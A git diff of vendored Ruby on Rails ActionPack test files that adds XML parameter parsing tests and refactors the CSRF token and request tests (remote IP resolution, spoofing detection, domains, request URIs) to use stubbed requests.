+++ b/vendor/rails/actionpack/test/controller/request/xml_params_parsing_test.rb
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+class XmlParamsParsingTest < ActionController::IntegrationTest
+  class TestController < ActionController::Base
+    class << self
+      attr_accessor :last_request_parameters
+    end
+
+    def parse
+      self.class.last_request_parameters = request.request_parameters
+      head :ok
+    end
+  end
+
+  def teardown
+    TestController.last_request_parameters = nil
+  end
+
+  test "parses hash params" do
+    with_test_routing do
+      xml = "<person><name>David</name></person>"
+      post "/parse", xml, default_headers
+      assert_response :ok
+      assert_equal({"person" => {"name" => "David"}}, TestController.last_request_parameters)
+    end
+  end
+
+  test "parses single file" do
+    with_test_routing do
+      xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>"
+      post "/parse", xml, default_headers
+      assert_response :ok
+
+      person = TestController.last_request_parameters
+      assert_equal "image/jpg", person['person']['avatar'].content_type
+      assert_equal "me.jpg", person['person']['avatar'].original_filename
+      assert_equal "ABC", person['person']['avatar'].read
+    end
+  end
+
+  test "logs error if parsing unsuccessful" do
+    with_test_routing do
+      begin
+        $stderr = StringIO.new
+        xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></pineapple>"
+        post "/parse", xml, default_headers
+        assert_response :error
+        $stderr.rewind && err = $stderr.read
+        assert err =~ /Error occurred while parsing request parameters/
+      ensure
+        $stderr = STDERR
+      end
+    end
+  end
+
+  test "parses multiple files" do
+    xml = <<-end_body
+      <person>
+        <name>David</name>
+        <avatars>
+          <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
+          <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
+        </avatars>
+      </person>
+    end_body
+
+    with_test_routing do
+      post "/parse", xml, default_headers
+      assert_response :ok
+    end
+
+    person = TestController.last_request_parameters
+
+    assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
+    assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
+    assert_equal "ABC", person['person']['avatars']['avatar'].first.read
+
+    assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
+    assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
+    assert_equal "DEF", person['person']['avatars']['avatar'].last.read
+  end
+
+  private
+    def with_test_routing
+      with_routing do |set|
+        set.draw do |map|
+          map.connect ':action', :controller => "xml_params_parsing_test/test"
+        end
+        yield
+      end
+    end
+
+    def default_headers
+      {'CONTENT_TYPE' => 'application/xml'}
+    end
+end
+
+class LegacyXmlParamsParsingTest < XmlParamsParsingTest
+  private
+    def default_headers
+      {'HTTP_X_POST_DATA_FORMAT' => 'xml'}
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb b/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb
index 5669b8f3..c6ad4b92 100644
--- a/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/vendor/rails/actionpack/test/controller/request_forgery_protection_test.rb
@@ -5,13 +5,6 @@ ActionController::Routing::Routes.draw do |map|
   map.connect ':controller/:action/:id'
 end
 
-# simulates cookie session store
-class FakeSessionDbMan
-  def self.generate_digest(data)
-    Digest::SHA1.hexdigest("secure")
-  end
-end
-
 # common controller actions
 module RequestForgeryProtectionActions
   def index
@@ -29,36 +22,17 @@ module RequestForgeryProtectionActions
   def unsafe
     render :text => 'pwn'
   end
-  
+
   def rescue_action(e) raise e end
 end
 
 # sample controllers
 class RequestForgeryProtectionController < ActionController::Base
-  include RequestForgeryProtectionActions
-  protect_from_forgery :only => :index, :secret => 'abc'
-end
-
-class RequestForgeryProtectionWithoutSecretController < ActionController::Base
-  include RequestForgeryProtectionActions
-  protect_from_forgery
-end
-
-# no token is given, assume the cookie store is used
-class CsrfCookieMonsterController < ActionController::Base
   include RequestForgeryProtectionActions
   protect_from_forgery :only => :index
 end
 
-# sessions are turned off
-class SessionOffController < ActionController::Base
-  protect_from_forgery :secret => 'foobar'
-  session :off
-  def rescue_action(e) raise e end
-  include RequestForgeryProtectionActions
-end
-
-class FreeCookieController < CsrfCookieMonsterController
+class FreeCookieController < RequestForgeryProtectionController
   self.allow_forgery_protection = false
   
   def index
@@ -70,6 +44,13 @@ class FreeCookieController < CsrfCookieMonsterController
   end
 end
 
+class CustomAuthenticityParamController < RequestForgeryProtectionController
+  def form_authenticity_param
+    'foobar'
+  end
+end
+
+
 # common test methods
 
 module RequestForgeryProtectionTests
@@ -105,17 +86,17 @@ module RequestForgeryProtectionTests
 
   def test_should_not_allow_html_post_without_token
     @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
-    assert_raises(ActionController::InvalidAuthenticityToken) { post :index, :format => :html }
+    assert_raise(ActionController::InvalidAuthenticityToken) { post :index, :format => :html }
   end
   
   def test_should_not_allow_html_put_without_token
     @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
-    assert_raises(ActionController::InvalidAuthenticityToken) { put :index, :format => :html }
+    assert_raise(ActionController::InvalidAuthenticityToken) { put :index, :format => :html }
   end
   
   def test_should_not_allow_html_delete_without_token
     @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
-    assert_raises(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html }
+    assert_raise(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html }
   end
 
   def test_should_allow_api_formatted_post_without_token
@@ -137,54 +118,50 @@ module RequestForgeryProtectionTests
   end
 
   def test_should_not_allow_api_formatted_post_sent_as_url_encoded_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
       post :index, :format => 'xml'
     end
   end
 
   def test_should_not_allow_api_formatted_put_sent_as_url_encoded_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
       put :index, :format => 'xml'
     end
   end
 
   def test_should_not_allow_api_formatted_delete_sent_as_url_encoded_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
       delete :index, :format => 'xml'
     end
   end
 
   def test_should_not_allow_api_formatted_post_sent_as_multipart_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
       post :index, :format => 'xml'
     end
   end
 
   def test_should_not_allow_api_formatted_put_sent_as_multipart_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
       put :index, :format => 'xml'
     end
   end
 
   def test_should_not_allow_api_formatted_delete_sent_as_multipart_form_without_token
-    assert_raises(ActionController::InvalidAuthenticityToken) do
+    assert_raise(ActionController::InvalidAuthenticityToken) do
       @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
       delete :index, :format => 'xml'
     end
   end
-
+  
   def test_should_allow_xhr_post_without_token
     assert_nothing_raised { xhr :post, :index }
   end
-  def test_should_not_allow_xhr_post_with_html_without_token
-    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
-    assert_raise(ActionController::InvalidAuthenticityToken) { xhr :post, :index }
-  end
   
   def test_should_allow_xhr_put_without_token
     assert_nothing_raised { xhr :put, :index }
@@ -194,6 +171,11 @@ module RequestForgeryProtectionTests
     assert_nothing_raised { xhr :delete, :index }
   end
   
+  def test_should_allow_xhr_post_with_encoded_form_content_type_without_token
+    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+    assert_nothing_raised { xhr :post, :index }
+  end
+  
   def test_should_allow_post_with_token
     post :index, :authenticity_token => @token
     assert_response :success
@@ -230,62 +212,28 @@ end
 
 # OK let's get our test on
 
-class RequestForgeryProtectionControllerTest < Test::Unit::TestCase
+class RequestForgeryProtectionControllerTest < ActionController::TestCase
   include RequestForgeryProtectionTests
   def setup
     @controller = RequestForgeryProtectionController.new
     @request    = ActionController::TestRequest.new
     @request.format = :html
     @response   = ActionController::TestResponse.new
-    class << @request.session
-      def session_id() '123' end
-    end
-    @token = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+    @token      = "cf50faa3fe97702ca1ae"
+
+    ActiveSupport::SecureRandom.stubs(:base64).returns(@token)
     ActionController::Base.request_forgery_protection_token = :authenticity_token
   end
 end
 
-class RequestForgeryProtectionWithoutSecretControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = RequestForgeryProtectionWithoutSecretController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    class << @request.session
-      def session_id() '123' end
-    end
-    @token = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
-    ActionController::Base.request_forgery_protection_token = :authenticity_token
-  end
-  
-  # def test_should_raise_error_without_secret
-  #   assert_raises ActionController::InvalidAuthenticityToken do
-  #     get :index
-  #   end
-  # end
-end
-
-class CsrfCookieMonsterControllerTest < Test::Unit::TestCase
-  include RequestForgeryProtectionTests
-  def setup
-    @controller = CsrfCookieMonsterController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    class << @request.session
-      attr_accessor :dbman
-    end
-    # simulate a cookie session store
-    @request.session.dbman = FakeSessionDbMan
-    @token = Digest::SHA1.hexdigest("secure")
-    ActionController::Base.request_forgery_protection_token = :authenticity_token
-  end
-end
-
-class FreeCookieControllerTest < Test::Unit::TestCase
+class FreeCookieControllerTest < ActionController::TestCase
   def setup
     @controller = FreeCookieController.new
     @request    = ActionController::TestRequest.new
     @response   = ActionController::TestResponse.new
-    @token      = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+    @token      = "cf50faa3fe97702ca1ae"
+
+    ActiveSupport::SecureRandom.stubs(:base64).returns(@token)
   end
   
   def test_should_not_render_form_with_token_tag
@@ -305,23 +253,13 @@ class FreeCookieControllerTest < Test::Unit::TestCase
   end
 end
 
-class SessionOffControllerTest < Test::Unit::TestCase
+class CustomAuthenticityParamControllerTest < ActionController::TestCase
   def setup
-    @controller = SessionOffController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @token      = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+    ActionController::Base.request_forgery_protection_token = :authenticity_token
   end
 
-  # TODO: Rewrite this test.
-  # This test was passing but for the wrong reason.
-  # Sessions aren't really being turned off, so an exception was raised
-  # because sessions weren't on - not because the token didn't match.
-  #
-  # def test_should_raise_correct_exception
-  #   @request.session = {} # session(:off) doesn't appear to work with controller tests
-  #   assert_raises(ActionController::InvalidAuthenticityToken) do
-  #     post :index, :authenticity_token => @token, :format => :html
-  #   end
-  # end
+  def test_should_allow_custom_token
+    post :index, :authenticity_token => 'foobar'
+    assert_response :ok
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/request_test.rb b/vendor/rails/actionpack/test/controller/request_test.rb
index 976910c1..c4cc63e6 100644
--- a/vendor/rails/actionpack/test/controller/request_test.rb
+++ b/vendor/rails/actionpack/test/controller/request_test.rb
@@ -1,10 +1,8 @@
 require 'abstract_unit'
-require 'action_controller/integration'
 
-class RequestTest < Test::Unit::TestCase
+class RequestTest < ActiveSupport::TestCase
   def setup
     ActionController::Base.relative_url_root = nil
-    @request = ActionController::TestRequest.new
   end
 
   def teardown
@@ -12,874 +10,386 @@ class RequestTest < Test::Unit::TestCase
   end
 
   def test_remote_ip
-    assert_equal '0.0.0.0', @request.remote_ip
+    request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
+    assert_equal '1.2.3.4', request.remote_ip
 
-    @request.remote_addr = '1.2.3.4'
-    assert_equal '1.2.3.4', @request.remote_ip(true)
+    request = stub_request 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6'
+    assert_equal '1.2.3.4', request.remote_ip
 
-    @request.remote_addr = '1.2.3.4,3.4.5.6'
-    assert_equal '1.2.3.4', @request.remote_ip(true)
+    request = stub_request 'REMOTE_ADDR' => '1.2.3.4',
+      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+    assert_equal '1.2.3.4', request.remote_ip
 
-    @request.env['HTTP_CLIENT_IP'] = '2.3.4.5'
-    assert_equal '1.2.3.4', @request.remote_ip(true)
+    request = stub_request 'REMOTE_ADDR' => '127.0.0.1',
+      'HTTP_X_FORWARDED_FOR' => '3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.remote_addr = '192.168.0.1'
-    assert_equal '2.3.4.5', @request.remote_ip(true)
-    @request.env.delete 'HTTP_CLIENT_IP'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.remote_addr = '1.2.3.4'
-    @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
-    assert_equal '1.2.3.4', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.16.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.remote_addr = '127.0.0.1'
-    @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '192.168.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '172.16.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '10.0.0.1, 10.0.0.1, 3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '192.168.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '127.0.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,192.168.0.1'
+    assert_equal 'unknown', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1, 10.0.0.1, 3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
+    assert_equal '3.4.5.6', request.remote_ip
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '127.0.0.1,3.4.5.6'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
-
-    @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,192.168.0.1'
-    assert_equal 'unknown', @request.remote_ip(true)
-
-    @request.env['HTTP_X_FORWARDED_FOR'] = '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
-    assert_equal '3.4.5.6', @request.remote_ip(true)
-
-    @request.env['HTTP_CLIENT_IP'] = '8.8.8.8'
-    e = assert_raises(ActionController::ActionControllerError) {
-      @request.remote_ip(true)
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+                           'HTTP_CLIENT_IP'       => '2.2.2.2'
+    e = assert_raise(ActionController::ActionControllerError) {
+      request.remote_ip
     }
     assert_match /IP spoofing attack/, e.message
-    assert_match /HTTP_X_FORWARDED_FOR="9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4"/, e.message
-    assert_match /HTTP_CLIENT_IP="8.8.8.8"/, e.message
+    assert_match /HTTP_X_FORWARDED_FOR="1.1.1.1"/, e.message
+    assert_match /HTTP_CLIENT_IP="2.2.2.2"/, e.message
 
-    @request.env['HTTP_X_FORWARDED_FOR'] = '8.8.8.8, 9.9.9.9'
-    assert_equal '8.8.8.8', @request.remote_ip(true)
+    # turn IP Spoofing detection off.
+    # This is useful for sites that are aimed at non-IP clients.  The typical
+    # example is WAP.  Since the cellular network is not IP based, it's a
+    # leap of faith to assume that their proxies are ever going to set the
+    # HTTP_CLIENT_IP/HTTP_X_FORWARDED_FOR headers properly.
+    ActionController::Base.ip_spoofing_check = false
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '1.1.1.1',
+                           'HTTP_CLIENT_IP'       => '2.2.2.2'
+    assert_equal '2.2.2.2', request.remote_ip
+    ActionController::Base.ip_spoofing_check = true
 
-    @request.env.delete 'HTTP_CLIENT_IP'
-    @request.env.delete 'HTTP_X_FORWARDED_FOR'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '8.8.8.8, 9.9.9.9'
+    assert_equal '9.9.9.9', request.remote_ip
   end
 
   def test_domains
-    @request.host = "www.rubyonrails.org"
-    assert_equal "rubyonrails.org", @request.domain
+    request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
+    assert_equal "rubyonrails.org", request.domain
 
-    @request.host = "www.rubyonrails.co.uk"
-    assert_equal "rubyonrails.co.uk", @request.domain(2)
+    request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+    assert_equal "rubyonrails.co.uk", request.domain(2)
 
-    @request.host = "192.168.1.200"
-    assert_nil @request.domain
+    request = stub_request 'HTTP_HOST' => "192.168.1.200"
+    assert_nil request.domain
 
-    @request.host = "foo.192.168.1.200"
-    assert_nil @request.domain
+    request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+    assert_nil request.domain
 
-    @request.host = "192.168.1.200.com"
-    assert_equal "200.com", @request.domain
-
-    @request.host = nil
-    assert_nil @request.domain
+    request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+    assert_equal "200.com", request.domain
   end
 
   def test_subdomains
-    @request.host = "www.rubyonrails.org"
-    assert_equal %w( www ), @request.subdomains
+    request = stub_request 'HTTP_HOST' => "www.rubyonrails.org"
+    assert_equal %w( www ), request.subdomains
 
-    @request.host = "www.rubyonrails.co.uk"
-    assert_equal %w( www ), @request.subdomains(2)
+    request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk"
+    assert_equal %w( www ), request.subdomains(2)
 
-    @request.host = "dev.www.rubyonrails.co.uk"
-    assert_equal %w( dev www ), @request.subdomains(2)
+    request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk"
+    assert_equal %w( dev www ), request.subdomains(2)
 
-    @request.host = "foobar.foobar.com"
-    assert_equal %w( foobar ), @request.subdomains
+    request = stub_request 'HTTP_HOST' => "foobar.foobar.com"
+    assert_equal %w( foobar ), request.subdomains
 
-    @request.host = "192.168.1.200"
-    assert_equal [], @request.subdomains
+    request = stub_request 'HTTP_HOST' => "192.168.1.200"
+    assert_equal [], request.subdomains
 
-    @request.host = "foo.192.168.1.200"
-    assert_equal [], @request.subdomains
+    request = stub_request 'HTTP_HOST' => "foo.192.168.1.200"
+    assert_equal [], request.subdomains
 
-    @request.host = "192.168.1.200.com"
-    assert_equal %w( 192 168 1 ), @request.subdomains
+    request = stub_request 'HTTP_HOST' => "192.168.1.200.com"
+    assert_equal %w( 192 168 1 ), request.subdomains
 
-    @request.host = nil
-    assert_equal [], @request.subdomains
+    request = stub_request 'HTTP_HOST' => nil
+    assert_equal [], request.subdomains
   end
 
   def test_port_string
-    @request.port = 80
-    assert_equal "", @request.port_string
+    request = stub_request 'HTTP_HOST' => 'www.example.org:80'
+    assert_equal "", request.port_string
 
-    @request.port = 8080
-    assert_equal ":8080", @request.port_string
+    request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
+    assert_equal ":8080", request.port_string
   end
 
   def test_request_uri
-    @request.env['SERVER_SOFTWARE'] = 'Apache 42.342.3432'
+    request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
+    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+    assert_equal "/path/of/some/uri",          request.path
 
-    @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri?mapped=1"
-    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
-    assert_equal "/path/of/some/uri", @request.path
+    request = stub_request 'REQUEST_URI' => "http://www.rubyonrails.org/path/of/some/uri"
+    assert_equal "/path/of/some/uri", request.request_uri
+    assert_equal "/path/of/some/uri", request.path
 
-    @request.set_REQUEST_URI "http://www.rubyonrails.org/path/of/some/uri"
-    assert_equal "/path/of/some/uri", @request.request_uri
-    assert_equal "/path/of/some/uri", @request.path
+    request = stub_request 'REQUEST_URI' => "/path/of/some/uri"
+    assert_equal "/path/of/some/uri", request.request_uri
+    assert_equal "/path/of/some/uri", request.path
 
-    @request.set_REQUEST_URI "/path/of/some/uri"
-    assert_equal "/path/of/some/uri", @request.request_uri
-    assert_equal "/path/of/some/uri", @request.path
+    request = stub_request 'REQUEST_URI' => "/"
+    assert_equal "/", request.request_uri
+    assert_equal "/", request.path
 
-    @request.set_REQUEST_URI "/"
-    assert_equal "/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'REQUEST_URI' => "/?m=b"
+    assert_equal "/?m=b", request.request_uri
+    assert_equal "/",     request.path
 
-    @request.set_REQUEST_URI "/?m=b"
-    assert_equal "/?m=b", @request.request_uri
-    assert_equal "/", @request.path
-
-    @request.set_REQUEST_URI "/"
-    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
-    assert_equal "/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'REQUEST_URI' => "/", 'SCRIPT_NAME' => '/dispatch.cgi'
+    assert_equal "/", request.request_uri
+    assert_equal "/", request.path
 
     ActionController::Base.relative_url_root = "/hieraki"
-    @request.set_REQUEST_URI "/hieraki/"
-    @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
-    assert_equal "/hieraki/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'REQUEST_URI' => "/hieraki/", 'SCRIPT_NAME' => "/hieraki/dispatch.cgi"
+    assert_equal "/hieraki/", request.request_uri
+    assert_equal "/",         request.path
     ActionController::Base.relative_url_root = nil
 
     ActionController::Base.relative_url_root = "/collaboration/hieraki"
-    @request.set_REQUEST_URI "/collaboration/hieraki/books/edit/2"
-    @request.env['SCRIPT_NAME'] = "/collaboration/hieraki/dispatch.cgi"
-    assert_equal "/collaboration/hieraki/books/edit/2", @request.request_uri
-    assert_equal "/books/edit/2", @request.path
+    request = stub_request 'REQUEST_URI' => "/collaboration/hieraki/books/edit/2",
+      'SCRIPT_NAME' => "/collaboration/hieraki/dispatch.cgi"
+    assert_equal "/collaboration/hieraki/books/edit/2", request.request_uri
+    assert_equal "/books/edit/2",                       request.path
     ActionController::Base.relative_url_root = nil
 
     # The following tests are for when REQUEST_URI is not supplied (as in IIS)
-    @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
-    @request.env['SCRIPT_NAME'] = nil #"/path/dispatch.rb"
-    @request.set_REQUEST_URI nil
-    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri
-    assert_equal "/path/of/some/uri", @request.path
+    request = stub_request 'PATH_INFO'   => "/path/of/some/uri?mapped=1",
+                           'SCRIPT_NAME' => nil,
+                           'REQUEST_URI' => nil
+    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+    assert_equal "/path/of/some/uri",          request.path
 
     ActionController::Base.relative_url_root = '/path'
-    @request.env['PATH_INFO'] = "/path/of/some/uri?mapped=1"
-    @request.env['SCRIPT_NAME'] = "/path/dispatch.rb"
-    @request.set_REQUEST_URI nil
-    assert_equal "/path/of/some/uri?mapped=1", @request.request_uri(true)
-    assert_equal "/of/some/uri", @request.path(true)
+    request = stub_request 'PATH_INFO'   => "/path/of/some/uri?mapped=1",
+                           'SCRIPT_NAME' => "/path/dispatch.rb",
+                           'REQUEST_URI' => nil
+    assert_equal "/path/of/some/uri?mapped=1", request.request_uri
+    assert_equal "/of/some/uri",               request.path
     ActionController::Base.relative_url_root = nil
 
-    @request.env['PATH_INFO'] = "/path/of/some/uri"
-    @request.env['SCRIPT_NAME'] = nil
-    @request.set_REQUEST_URI nil
-    assert_equal "/path/of/some/uri", @request.request_uri
-    assert_equal "/path/of/some/uri", @request.path
+    request = stub_request 'PATH_INFO'   => "/path/of/some/uri",
+                           'SCRIPT_NAME' => nil,
+                           'REQUEST_URI' => nil
+    assert_equal "/path/of/some/uri", request.request_uri
+    assert_equal "/path/of/some/uri", request.path
 
-    @request.env['PATH_INFO'] = "/"
-    @request.set_REQUEST_URI nil
-    assert_equal "/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'PATH_INFO' => '/', 'REQUEST_URI' => nil
+    assert_equal "/", request.request_uri
+    assert_equal "/", request.path
 
-    @request.env['PATH_INFO'] = "/?m=b"
-    @request.set_REQUEST_URI nil
-    assert_equal "/?m=b", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'PATH_INFO' => '/?m=b', 'REQUEST_URI' => nil
+    assert_equal "/?m=b", request.request_uri
+    assert_equal "/",     request.path
 
-    @request.env['PATH_INFO'] = "/"
-    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
-    @request.set_REQUEST_URI nil
-    assert_equal "/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'PATH_INFO'   => "/",
+                           'SCRIPT_NAME' => "/dispatch.cgi",
+                           'REQUEST_URI' => nil
+    assert_equal "/", request.request_uri
+    assert_equal "/", request.path
 
     ActionController::Base.relative_url_root = '/hieraki'
-    @request.env['PATH_INFO'] = "/hieraki/"
-    @request.env['SCRIPT_NAME'] = "/hieraki/dispatch.cgi"
-    @request.set_REQUEST_URI nil
-    assert_equal "/hieraki/", @request.request_uri
-    assert_equal "/", @request.path
+    request = stub_request 'PATH_INFO'   => "/hieraki/",
+                           'SCRIPT_NAME' => "/hieraki/dispatch.cgi",
+                           'REQUEST_URI' => nil
+    assert_equal "/hieraki/", request.request_uri
+    assert_equal "/",         request.path
     ActionController::Base.relative_url_root = nil
 
-    @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+    request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
     ActionController::Base.relative_url_root = '/hieraki'
-    assert_equal "/dispatch.cgi", @request.path(true)
+    assert_equal "/dispatch.cgi", request.path
     ActionController::Base.relative_url_root = nil
 
-    @request.set_REQUEST_URI '/hieraki/dispatch.cgi'
+    request = stub_request 'REQUEST_URI' => '/hieraki/dispatch.cgi'
     ActionController::Base.relative_url_root = '/foo'
-    assert_equal "/hieraki/dispatch.cgi", @request.path(true)
+    assert_equal "/hieraki/dispatch.cgi", request.path
     ActionController::Base.relative_url_root = nil
 
     # This test ensures that Rails uses REQUEST_URI over PATH_INFO
     ActionController::Base.relative_url_root = nil
-    @request.env['REQUEST_URI'] = "/some/path"
-    @request.env['PATH_INFO'] = "/another/path"
-    @request.env['SCRIPT_NAME'] = "/dispatch.cgi"
-    assert_equal "/some/path", @request.request_uri(true)
-    assert_equal "/some/path", @request.path(true)
+    request = stub_request 'REQUEST_URI' => "/some/path",
+                           'PATH_INFO'   => "/another/path",
+                           'SCRIPT_NAME' => "/dispatch.cgi"
+    assert_equal "/some/path", request.request_uri
+    assert_equal "/some/path", request.path
   end
 
   def test_host_with_default_port
-    @request.host = "rubyonrails.org"
-    @request.port = 80
-    assert_equal "rubyonrails.org", @request.host_with_port
+    request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
+    assert_equal "rubyonrails.org", request.host_with_port
   end
 
   def test_host_with_non_default_port
-    @request.host = "rubyonrails.org"
-    @request.port = 81
-    assert_equal "rubyonrails.org:81", @request.host_with_port
+    request = stub_request 'HTTP_HOST' => 'rubyonrails.org:81'
+    assert_equal "rubyonrails.org:81", request.host_with_port
   end
 
   def test_server_software
-    assert_equal nil, @request.server_software(true)
+    request = stub_request
+    assert_equal nil, request.server_software
 
-    @request.env['SERVER_SOFTWARE'] = 'Apache3.422'
-    assert_equal 'apache', @request.server_software(true)
+    request = stub_request 'SERVER_SOFTWARE' => 'Apache3.422'
+    assert_equal 'apache', request.server_software
 
-    @request.env['SERVER_SOFTWARE'] = 'lighttpd(1.1.4)'
-    assert_equal 'lighttpd', @request.server_software(true)
+    request = stub_request 'SERVER_SOFTWARE' => 'lighttpd(1.1.4)'
+    assert_equal 'lighttpd', request.server_software
   end
 
   def test_xml_http_request
-    assert !@request.xml_http_request?
-    assert !@request.xhr?
+    request = stub_request
 
-    @request.env['HTTP_X_REQUESTED_WITH'] = "DefinitelyNotAjax1.0"
-    assert !@request.xml_http_request?
-    assert !@request.xhr?
+    assert !request.xml_http_request?
+    assert !request.xhr?
 
-    @request.env['HTTP_X_REQUESTED_WITH'] = "XMLHttpRequest"
-    assert @request.xml_http_request?
-    assert @request.xhr?
